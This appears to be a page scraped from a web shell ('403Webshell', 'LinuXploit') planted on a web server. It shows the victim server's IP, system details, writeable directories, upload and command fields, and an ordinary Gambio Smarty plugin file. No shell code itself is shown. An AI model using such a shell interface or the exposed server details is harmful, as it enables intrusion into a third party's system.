403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/GXMainComponents/SmartyPlugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/GXMainComponents/SmartyPlugins/function.load_language_text.php
<?php
/* --------------------------------------------------------------
   function.object_product_list.php 2016-06-14
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2016 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------

*
 * Smarty plugin
 * @package Smarty
 * @subpackage plugins
 */

function smarty_function_load_language_text($params, &$smarty)
{
    $t_use_fallback = true;
    if (isset($params['use_fallback'])) {
        $t_use_fallback = ($params['use_fallback'] == 'false') === false;
    }
    
    # get existing instance (performance)
    $t_use_singleton = true;
    if (isset($params['use_singleton'])) {
        $t_use_singleton = $params['use_singleton'] != 'false';
    }
    
    # select section
    $t_section = [];
    if (isset($params['section'])) {
        $t_section = $params['section'];
    }
    
    # set array name
    $_text_array_name = 'txt';
    if (isset($params['name'])) {
        $_text_array_name = $params['name'];
    }
    
    # select language
    $t_language_id = $_SESSION['languages_id'];
    
    $coo_text_mgr = MainFactory::create_object('LanguageTextManager',
                                               [$t_section, $t_language_id, $t_use_fallback],
                                               $t_use_singleton);
    
    $t_section_array = $coo_text_mgr->get_section_array();
    
    $smarty->assign($_text_array_name, $t_section_array);
}

/* vim: set expandtab: */

?>

Youez - 2016 - github.com/yon3zu
LinuXploit